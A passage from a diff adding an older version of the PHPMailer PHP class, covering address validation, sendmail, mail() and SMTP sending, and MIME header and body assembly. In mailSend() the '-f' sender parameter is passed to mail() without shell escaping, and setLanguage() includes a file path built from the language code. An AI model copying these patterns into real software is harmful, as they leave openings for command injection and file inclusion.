+                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
+                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
+                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
+                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
+                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
+                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
+                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
+                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
+                    $address
+                );
+                break;
+            case 'php':
+            default:
+                return (bool)filter_var($address, FILTER_VALIDATE_EMAIL);
+                break;
+            case 'noregex':
+                //No PCRE! Do something _very_ approximate!
+                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
+                return (strlen($address) >= 3
+                    and strpos($address, '@') >= 1
+                    and strpos($address, '@') != strlen($address) - 1);
+                break;
+        }
+    }
+
+    /**
+     * Create a message and send it.
+     * Uses the sending method specified by $Mailer.
+     * Returns false on error - Use the ErrorInfo variable to view description of the error.
+     * @throws phpmailerException
+     * @return bool
+     */
+    public function send()
+    {
+        try {
+            if (!$this->preSend()) {
+                return false;
+            }
+            return $this->postSend();
+        } catch (phpmailerException $e) {
+            $this->mailHeader = '';
+            $this->setError($e->getMessage());
+            if ($this->exceptions) {
+                throw $e;
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Prepare a message for sending.
+     * @throws phpmailerException
+     * @return bool
+     */
+    public function preSend()
+    {
+        try {
+            $this->mailHeader = "";
+            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
+                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
+            }
+
+            // Set whether the message is multipart/alternative
+            if (!empty($this->AltBody)) {
+                $this->ContentType = 'multipart/alternative';
+            }
+
+            $this->error_count = 0; // reset errors
+            $this->setMessageType();
+            // Refuse to send an empty message unless we are specifically allowing it
+            if (!$this->AllowEmpty and empty($this->Body)) {
+                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
+            }
+
+            $this->MIMEHeader = $this->createHeader();
+            $this->MIMEBody = $this->createBody();
+
+            // To capture the complete message when using mail(), create
+            // an extra header list which createHeader() doesn't fold in
+            if ($this->Mailer == 'mail') {
+                if (count($this->to) > 0) {
+                    $this->mailHeader .= $this->addrAppend("To", $this->to);
+                } else {
+                    $this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;");
+                }
+                $this->mailHeader .= $this->headerLine(
+                    'Subject',
+                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
+                );
+            }
+
+            // Sign with DKIM if enabled
+            if (!empty($this->DKIM_domain)
+                && !empty($this->DKIM_private)
+                && !empty($this->DKIM_selector)
+                && !empty($this->DKIM_domain)
+                && file_exists($this->DKIM_private)) {
+                $header_dkim = $this->DKIM_Add(
+                    $this->MIMEHeader . $this->mailHeader,
+                    $this->encodeHeader($this->secureHeader($this->Subject)),
+                    $this->MIMEBody
+                );
+                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
+                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
+            }
+            return true;
+
+        } catch (phpmailerException $e) {
+            $this->setError($e->getMessage());
+            if ($this->exceptions) {
+                throw $e;
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Actually send a message.
+     * Send the email via the selected mechanism
+     * @throws phpmailerException
+     * @return bool
+     */
+    public function postSend()
+    {
+        try {
+            // Choose the mailer and send through it
+            switch ($this->Mailer) {
+                case 'sendmail':
+                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
+                case 'smtp':
+                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
+                case 'mail':
+                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
+                default:
+                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
+            }
+        } catch (phpmailerException $e) {
+            $this->setError($e->getMessage());
+            if ($this->exceptions) {
+                throw $e;
+            }
+            $this->edebug($e->getMessage() . "\n");
+        }
+        return false;
+    }
+
+    /**
+     * Send mail using the $Sendmail program.
+     * @param string $header The message headers
+     * @param string $body The message body
+     * @see PHPMailer::$Sendmail
+     * @throws phpmailerException
+     * @access protected
+     * @return bool
+     */
+    protected function sendmailSend($header, $body)
+    {
+        if ($this->Sender != '') {
+            $sendmail = sprintf("%s -oi -f%s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
+        } else {
+            $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
+        }
+        if ($this->SingleTo === true) {
+            foreach ($this->SingleToArray as $val) {
+                if (!@$mail = popen($sendmail, 'w')) {
+                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+                }
+                fputs($mail, "To: " . $val . "\n");
+                fputs($mail, $header);
+                fputs($mail, $body);
+                $result = pclose($mail);
+                // implement call back function if it exists
+                $isSent = ($result == 0) ? 1 : 0;
+                $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
+                if ($result != 0) {
+                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+                }
+            }
+        } else {
+            if (!@$mail = popen($sendmail, 'w')) {
+                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+            }
+            fputs($mail, $header);
+            fputs($mail, $body);
+            $result = pclose($mail);
+            // implement call back function if it exists
+            $isSent = ($result == 0) ? 1 : 0;
+            $this->doCallback($isSent, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
+            if ($result != 0) {
+                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Send mail using the PHP mail() function.
+     * @param string $header The message headers
+     * @param string $body The message body
+     * @link http://www.php.net/manual/en/book.mail.php
+     * @throws phpmailerException
+     * @access protected
+     * @return bool
+     */
+    protected function mailSend($header, $body)
+    {
+        $toArr = array();
+        foreach ($this->to as $t) {
+            $toArr[] = $this->addrFormat($t);
+        }
+        $to = implode(', ', $toArr);
+
+        if (empty($this->Sender)) {
+            $params = " ";
+        } else {
+            $params = sprintf("-f%s", $this->Sender);
+        }
+        if ($this->Sender != '' and !ini_get('safe_mode')) {
+            $old_from = ini_get('sendmail_from');
+            ini_set('sendmail_from', $this->Sender);
+        }
+        $rt = false;
+        if ($this->SingleTo === true && count($toArr) > 1) {
+            foreach ($toArr as $val) {
+                $rt = $this->mailPassthru($val, $this->Subject, $body, $header, $params);
+                // implement call back function if it exists
+                $isSent = ($rt == 1) ? 1 : 0;
+                $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
+            }
+        } else {
+            $rt = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
+            // implement call back function if it exists
+            $isSent = ($rt == 1) ? 1 : 0;
+            $this->doCallback($isSent, $to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
+        }
+        if (isset($old_from)) {
+            ini_set('sendmail_from', $old_from);
+        }
+        if (!$rt) {
+            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
+        }
+        return true;
+    }
+
+    /**
+     * Get an instance to use for SMTP operations.
+     * Override this function to load your own SMTP implementation
+     * @return SMTP
+     */
+    public function getSMTPInstance()
+    {
+        if (!is_object($this->smtp)) {
+            require_once 'class-smtp.php';
+            $this->smtp = new SMTP;
+        }
+        return $this->smtp;
+    }
+
+    /**
+     * Send mail via SMTP.
+     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
+     * Uses the PHPMailerSMTP class by default.
+     * @see PHPMailer::getSMTPInstance() to use a different class.
+     * @param string $header The message headers
+     * @param string $body The message body
+     * @throws phpmailerException
+     * @uses SMTP
+     * @access protected
+     * @return bool
+     */
+    protected function smtpSend($header, $body)
+    {
+        $bad_rcpt = array();
+
+        if (!$this->smtpConnect()) {
+            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
+        }
+        $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
+        if (!$this->smtp->mail($smtp_from)) {
+            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
+            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
+        }
+
+        // Attempt to send attach all recipients
+        foreach ($this->to as $to) {
+            if (!$this->smtp->recipient($to[0])) {
+                $bad_rcpt[] = $to[0];
+                $isSent = 0;
+            } else {
+                $isSent = 1;
+            }
+            $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body, $this->From);
+        }
+        foreach ($this->cc as $cc) {
+            if (!$this->smtp->recipient($cc[0])) {
+                $bad_rcpt[] = $cc[0];
+                $isSent = 0;
+            } else {
+                $isSent = 1;
+            }
+            $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body, $this->From);
+        }
+        foreach ($this->bcc as $bcc) {
+            if (!$this->smtp->recipient($bcc[0])) {
+                $bad_rcpt[] = $bcc[0];
+                $isSent = 0;
+            } else {
+                $isSent = 1;
+            }
+            $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body, $this->From);
+        }
+
+        if (count($bad_rcpt) > 0) { //Create error message for any bad addresses
+            throw new phpmailerException($this->lang('recipients_failed') . implode(', ', $bad_rcpt));
+        }
+        if (!$this->smtp->data($header . $body)) {
+            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
+        }
+        if ($this->SMTPKeepAlive == true) {
+            $this->smtp->reset();
+        } else {
+            $this->smtp->quit();
+            $this->smtp->close();
+        }
+        return true;
+    }
+
+    /**
+     * Initiate a connection to an SMTP server.
+     * Returns false if the operation failed.
+     * @param array $options An array of options compatible with stream_context_create()
+     * @uses SMTP
+     * @access public
+     * @throws phpmailerException
+     * @return bool
+     */
+    public function smtpConnect($options = array())
+    {
+        if (is_null($this->smtp)) {
+            $this->smtp = $this->getSMTPInstance();
+        }
+
+        //Already connected?
+        if ($this->smtp->connected()) {
+            return true;
+        }
+
+        $this->smtp->setTimeout($this->Timeout);
+        $this->smtp->setDebugLevel($this->SMTPDebug);
+        $this->smtp->setDebugOutput($this->Debugoutput);
+        $this->smtp->setVerp($this->do_verp);
+        $tls = ($this->SMTPSecure == 'tls');
+        $ssl = ($this->SMTPSecure == 'ssl');
+        $hosts = explode(';', $this->Host);
+        $lastexception = null;
+
+        foreach ($hosts as $hostentry) {
+            $hostinfo = array();
+            $host = $hostentry;
+            $port = $this->Port;
+            if (preg_match(
+                '/^(.+):([0-9]+)$/',
+                $hostentry,
+                $hostinfo
+            )
+            ) { //If $hostentry contains 'address:port', override default
+                $host = $hostinfo[1];
+                $port = $hostinfo[2];
+            }
+            if ($this->smtp->connect(($ssl ? 'ssl://' : '') . $host, $port, $this->Timeout, $options)) {
+                try {
+                    if ($this->Helo) {
+                        $hello = $this->Helo;
+                    } else {
+                        $hello = $this->serverHostname();
+                    }
+                    $this->smtp->hello($hello);
+
+                    if ($tls) {
+                        if (!$this->smtp->startTLS()) {
+                            throw new phpmailerException($this->lang('connect_host'));
+                        }
+                        //We must resend HELO after tls negotiation
+                        $this->smtp->hello($hello);
+                    }
+                    if ($this->SMTPAuth) {
+                        if (!$this->smtp->authenticate(
+                            $this->Username,
+                            $this->Password,
+                            $this->AuthType,
+                            $this->Realm,
+                            $this->Workstation
+                        )
+                        ) {
+                            throw new phpmailerException($this->lang('authenticate'));
+                        }
+                    }
+                    return true;
+                } catch (phpmailerException $e) {
+                    $lastexception = $e;
+                    //We must have connected, but then failed TLS or Auth, so close connection nicely
+                    $this->smtp->quit();
+                }
+            }
+        }
+        //If we get here, all connection attempts have failed, so close connection hard
+        $this->smtp->close();
+        //As we've caught all exceptions, just report whatever the last one was
+        if ($this->exceptions and !is_null($lastexception)) {
+            throw $lastexception;
+        }
+        return false;
+    }
+
+    /**
+     * Close the active SMTP session if one exists.
+     * @return void
+     */
+    public function smtpClose()
+    {
+        if ($this->smtp !== null) {
+            if ($this->smtp->connected()) {
+                $this->smtp->quit();
+                $this->smtp->close();
+            }
+        }
+    }
+
+    /**
+     * Set the language for error messages.
+     * Returns false if it cannot load the language file.
+     * The default language is English.
+     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
+     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
+     * @return bool
+     * @access public
+     */
+    public function setLanguage($langcode = 'en', $lang_path = 'language/')
+    {
+        //Define full set of translatable strings
+        $PHPMAILER_LANG = array(
+            'authenticate' => 'SMTP Error: Could not authenticate.',
+            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
+            'data_not_accepted' => 'SMTP Error: data not accepted.',
+            'empty_message' => 'Message body empty',
+            'encoding' => 'Unknown encoding: ',
+            'execute' => 'Could not execute: ',
+            'file_access' => 'Could not access file: ',
+            'file_open' => 'File Error: Could not open file: ',
+            'from_failed' => 'The following From address failed: ',
+            'instantiate' => 'Could not instantiate mail function.',
+            'invalid_address' => 'Invalid address',
+            'mailer_not_supported' => ' mailer is not supported.',
+            'provide_address' => 'You must provide at least one recipient email address.',
+            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
+            'signing' => 'Signing Error: ',
+            'smtp_connect_failed' => 'SMTP connect() failed.',
+            'smtp_error' => 'SMTP server error: ',
+            'variable_set' => 'Cannot set or reset variable: '
+        );
+        //Overwrite language-specific strings.
+        //This way we'll never have missing translations - no more "language string failed to load"!
+        $l = true;
+        if ($langcode != 'en') { //There is no English translation file
+            $l = @include $lang_path . 'phpmailer.lang-' . $langcode . '.php';
+        }
+        $this->language = $PHPMAILER_LANG;
+        return ($l == true); //Returns false if language not found
+    }
+
+    /**
+     * Get the array of strings for the current language.
+     * @return array
+     */
+    public function getTranslations()
+    {
+        return $this->language;
+    }
+
+    /**
+     * Create recipient headers.
+     * @access public
+     * @param string $type
+     * @param array $addr An array of recipient,
+     * where each recipient is a 2-element indexed array with element 0 containing an address
+     * and element 1 containing a name, like:
+     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
+     * @return string
+     */
+    public function addrAppend($type, $addr)
+    {
+        $addresses = array();
+        foreach ($addr as $a) {
+            $addresses[] = $this->addrFormat($a);
+        }
+        return $type . ': ' . implode(', ', $addresses) . $this->LE;
+    }
+
+    /**
+     * Format an address for use in a message header.
+     * @access public
+     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
+     *      like array('joe@example.com', 'Joe User')
+     * @return string
+     */
+    public function addrFormat($addr)
+    {
+        if (empty($addr[1])) { // No name provided
+            return $this->secureHeader($addr[0]);
+        } else {
+            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . " <" . $this->secureHeader(
+                $addr[0]
+            ) . ">";
+        }
+    }
+
+    /**
+     * Word-wrap message.
+     * For use with mailers that do not automatically perform wrapping
+     * and for quoted-printable encoded messages.
+     * Original written by philippe.
+     * @param string $message The message to wrap
+     * @param integer $length The line length to wrap to
+     * @param bool $qp_mode Whether to run in Quoted-Printable mode
+     * @access public
+     * @return string
+     */
+    public function wrapText($message, $length, $qp_mode = false)
+    {
+        $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
+        // If utf-8 encoding is used, we will need to make sure we don't
+        // split multibyte characters when we wrap
+        $is_utf8 = (strtolower($this->CharSet) == "utf-8");
+        $lelen = strlen($this->LE);
+        $crlflen = strlen(self::CRLF);
+
+        $message = $this->fixEOL($message);
+        if (substr($message, -$lelen) == $this->LE) {
+            $message = substr($message, 0, -$lelen);
+        }
+
+        $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
+        $message = '';
+        for ($i = 0; $i < count($line); $i++) {
+            $line_part = explode(' ', $line[$i]);
+            $buf = '';
+            for ($e = 0; $e < count($line_part); $e++) {
+                $word = $line_part[$e];
+                if ($qp_mode and (strlen($word) > $length)) {
+                    $space_left = $length - strlen($buf) - $crlflen;
+                    if ($e != 0) {
+                        if ($space_left > 20) {
+                            $len = $space_left;
+                            if ($is_utf8) {
+                                $len = $this->utf8CharBoundary($word, $len);
+                            } elseif (substr($word, $len - 1, 1) == "=") {
+                                $len--;
+                            } elseif (substr($word, $len - 2, 1) == "=") {
+                                $len -= 2;
+                            }
+                            $part = substr($word, 0, $len);
+                            $word = substr($word, $len);
+                            $buf .= ' ' . $part;
+                            $message .= $buf . sprintf("=%s", self::CRLF);
+                        } else {
+                            $message .= $buf . $soft_break;
+                        }
+                        $buf = '';
+                    }
+                    while (strlen($word) > 0) {
+                        if ($length <= 0) {
+                            break;
+                        }
+                        $len = $length;
+                        if ($is_utf8) {
+                            $len = $this->utf8CharBoundary($word, $len);
+                        } elseif (substr($word, $len - 1, 1) == "=") {
+                            $len--;
+                        } elseif (substr($word, $len - 2, 1) == "=") {
+                            $len -= 2;
+                        }
+                        $part = substr($word, 0, $len);
+                        $word = substr($word, $len);
+
+                        if (strlen($word) > 0) {
+                            $message .= $part . sprintf("=%s", self::CRLF);
+                        } else {
+                            $buf = $part;
+                        }
+                    }
+                } else {
+                    $buf_o = $buf;
+                    $buf .= ($e == 0) ? $word : (' ' . $word);
+
+                    if (strlen($buf) > $length and $buf_o != '') {
+                        $message .= $buf_o . $soft_break;
+                        $buf = $word;
+                    }
+                }
+            }
+            $message .= $buf . self::CRLF;
+        }
+
+        return $message;
+    }
+
+    /**
+     * Find the last character boundary prior to $maxLength in a utf-8
+     * quoted (printable) encoded string.
+     * Original written by Colin Brown.
+     * @access public
+     * @param string $encodedText utf-8 QP text
+     * @param int $maxLength   find last character boundary prior to this length
+     * @return int
+     */
+    public function utf8CharBoundary($encodedText, $maxLength)
+    {
+        $foundSplitPos = false;
+        $lookBack = 3;
+        while (!$foundSplitPos) {
+            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
+            $encodedCharPos = strpos($lastChunk, "=");
+            if ($encodedCharPos !== false) {
+                // Found start of encoded character byte within $lookBack block.
+                // Check the encoded byte value (the 2 chars after the '=')
+                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
+                $dec = hexdec($hex);
+                if ($dec < 128) { // Single byte character.
+                    // If the encoded char was found at pos 0, it will fit
+                    // otherwise reduce maxLength to start of the encoded char
+                    $maxLength = ($encodedCharPos == 0) ? $maxLength :
+                        $maxLength - ($lookBack - $encodedCharPos);
+                    $foundSplitPos = true;
+                } elseif ($dec >= 192) { // First byte of a multi byte character
+                    // Reduce maxLength to split at start of character
+                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
+                    $foundSplitPos = true;
+                } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
+                    $lookBack += 3;
+                }
+            } else {
+                // No encoded character found
+                $foundSplitPos = true;
+            }
+        }
+        return $maxLength;
+    }
+
+
+    /**
+     * Set the body wrapping.
+     * @access public
+     * @return void
+     */
+    public function setWordWrap()
+    {
+        if ($this->WordWrap < 1) {
+            return;
+        }
+
+        switch ($this->message_type) {
+            case 'alt':
+            case 'alt_inline':
+            case 'alt_attach':
+            case 'alt_inline_attach':
+                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
+                break;
+            default:
+                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
+                break;
+        }
+    }
+
+    /**
+     * Assemble message headers.
+     * @access public
+     * @return string The assembled headers
+     */
+    public function createHeader()
+    {
+        $result = '';
+
+        // Set the boundaries
+        $uniq_id = md5(uniqid(time()));
+        $this->boundary[1] = 'b1_' . $uniq_id;
+        $this->boundary[2] = 'b2_' . $uniq_id;
+        $this->boundary[3] = 'b3_' . $uniq_id;
+
+        if ($this->MessageDate == '') {
+            $result .= $this->headerLine('Date', self::rfcDate());
+        } else {
+            $result .= $this->headerLine('Date', $this->MessageDate);
+        }
+
+        if ($this->ReturnPath) {
+            $result .= $this->headerLine('Return-Path', '<' . trim($this->ReturnPath) . '>');
+        } elseif ($this->Sender == '') {
+            $result .= $this->headerLine('Return-Path', '<' . trim($this->From) . '>');
+        } else {
+            $result .= $this->headerLine('Return-Path', '<' . trim($this->Sender) . '>');
+        }
+
+        // To be created automatically by mail()
+        if ($this->Mailer != 'mail') {
+            if ($this->SingleTo === true) {
+                foreach ($this->to as $t) {
+                    $this->SingleToArray[] = $this->addrFormat($t);
+                }
+            } else {
+                if (count($this->to) > 0) {
+                    $result .= $this->addrAppend('To', $this->to);
+                } elseif (count($this->cc) == 0) {
+                    $result .= $this->headerLine('To', 'undisclosed-recipients:;');
+                }
+            }
+        }
+
+        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
+
+        // sendmail and mail() extract Cc from the header before sending
+        if (count($this->cc) > 0) {
+            $result .= $this->addrAppend('Cc', $this->cc);
+        }
+
+        // sendmail and mail() extract Bcc from the header before sending
+        if ((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
+            $result .= $this->addrAppend('Bcc', $this->bcc);
+        }
+
+        if (count($this->ReplyTo) > 0) {
+            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
+        }
+
+        // mail() sets the subject itself
+        if ($this->Mailer != 'mail') {
+            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
+        }
+
+        if ($this->MessageID != '') {
+            $this->lastMessageID = $this->MessageID;
+        } else {
+            $this->lastMessageID = sprintf("<%s@%s>", $uniq_id, $this->ServerHostname());
+        }
+        $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
+        $result .= $this->headerLine('X-Priority', $this->Priority);
+        if ($this->XMailer == '') {
+            $result .= $this->headerLine(
+                'X-Mailer',
+                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
+            );
+        } else {
+            $myXmailer = trim($this->XMailer);
+            if ($myXmailer) {
+                $result .= $this->headerLine('X-Mailer', $myXmailer);
+            }
+        }
+
+        if ($this->ConfirmReadingTo != '') {
+            $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
+        }
+
+        // Add custom headers
+        for ($index = 0; $index < count($this->CustomHeader); $index++) {
+            $result .= $this->headerLine(
+                trim($this->CustomHeader[$index][0]),
+                $this->encodeHeader(trim($this->CustomHeader[$index][1]))
+            );
+        }
+        if (!$this->sign_key_file) {
+            $result .= $this->headerLine('MIME-Version', '1.0');
+            $result .= $this->getMailMIME();
+        }
+
+        return $result;
+    }
+
+    /**
+     * Get the message MIME type headers.
+     * @access public
+     * @return string
+     */
+    public function getMailMIME()
+    {
+        $result = '';
+        switch ($this->message_type) {
+            case 'inline':
+                $result .= $this->headerLine('Content-Type', 'multipart/related;');
+                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
+                break;
+            case 'attach':
+            case 'inline_attach':
+            case 'alt_attach':
+            case 'alt_inline_attach':
+                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
+                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
+                break;
+            case 'alt':
+            case 'alt_inline':
+                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
+                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
+                break;
+            default:
+                // Catches case 'plain': and case '':
+                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
+                break;
+        }
+        //RFC1341 part 5 says 7bit is assumed if not specified
+        if ($this->Encoding != '7bit') {
+            $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
+        }
+
+        if ($this->Mailer != 'mail') {
+            $result .= $this->LE;
+        }
+
+        return $result;
+    }
+
+    /**
+     * Returns the whole MIME message.
+     * Includes complete headers and body.
+     * Only valid post PreSend().
+     * @see PHPMailer::PreSend()
+     * @access public
+     * @return string
+     */
+    public function getSentMIMEMessage()
+    {
+        return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
+    }
+
+
+    /**
+     * Assemble the message body.
+     * Returns an empty string on failure.
+     * @access public
+     * @throws phpmailerException
+     * @return string The assembled message body
+     */
+    public function createBody()
+    {
+        $body = '';
+
+        if ($this->sign_key_file) {
+            $body .= $this->getMailMIME() . $this->LE;
+        }
+
+        $this->setWordWrap();
+
+        switch ($this->message_type) {
+            case 'inline':
+                $body .= $this->getBoundary($this->boundary[1], '', '', '');
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[1]);
+                break;
+            case 'attach':
+                $body .= $this->getBoundary($this->boundary[1], '', '', '');
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            case 'inline_attach':
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/related;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], '', '', '');
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            case 'alt':
+                $body .= $this->getBoundary($this->boundary[1], '', 'text/plain', '');
+                $body .= $this->encodeString($this->AltBody, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->getBoundary($this->boundary[1], '', 'text/html', '');
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                if (!empty($this->Ical)) {
+                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
+                    $body .= $this->encodeString($this->Ical, $this->Encoding);
+                    $body .= $this->LE . $this->LE;
+                }
+                $body .= $this->endBoundary($this->boundary[1]);
+                break;
+            case 'alt_inline':
+                $body .= $this->getBoundary($this->boundary[1], '', 'text/plain', '');
+                $body .= $this->encodeString($this->AltBody, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/related;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], '', 'text/html', '');
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->endBoundary($this->boundary[1]);
+                break;
+            case 'alt_attach':
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], '', 'text/plain', '');
+                $body .= $this->encodeString($this->AltBody, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], '', 'text/html', '');
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->endBoundary($this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            case 'alt_inline_attach':
+                $body .= $this->textLine('--' . $this->boundary[1]);
+                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[2], '', 'text/plain', '');
+                $body .= $this->encodeString($this->AltBody, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->textLine('--' . $this->boundary[2]);
+                $body .= $this->headerLine('Content-Type', 'multipart/related;');
+                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
+                $body .= $this->LE;
+                $body .= $this->getBoundary($this->boundary[3], '', 'text/html', '');
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                $body .= $this->LE . $this->LE;
+                $body .= $this->attachAll('inline', $this->boundary[3]);
+                $body .= $this->LE;
+                $body .= $this->endBoundary($this->boundary[2]);
+                $body .= $this->LE;
+                $body .= $this->attachAll('attachment', $this->boundary[1]);
+                break;
+            default:
+                // catch case 'plain' and case ''
+                $body .= $this->encodeString($this->Body, $this->Encoding);
+                break;
+        }
+
+        if ($this->isError()) {
+            $body = '';
+        } elseif ($this->sign_key_file) {
+            try {
+                if (!defined('PKCS7_TEXT')) {
+                    throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
+                }
+                $file = tempnam(sys_get_temp_dir(), 'mail');
+                file_put_contents($file, $body); //TODO check this worked
+                $signed = tempnam(sys_get_temp_dir(), 'signed');
+                if (@openssl_pkcs7_sign(
+                    $file,
+                    $signed,
+                    'file://' . realpath($this->sign_cert_file),
+                    array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
+                    null
+                )
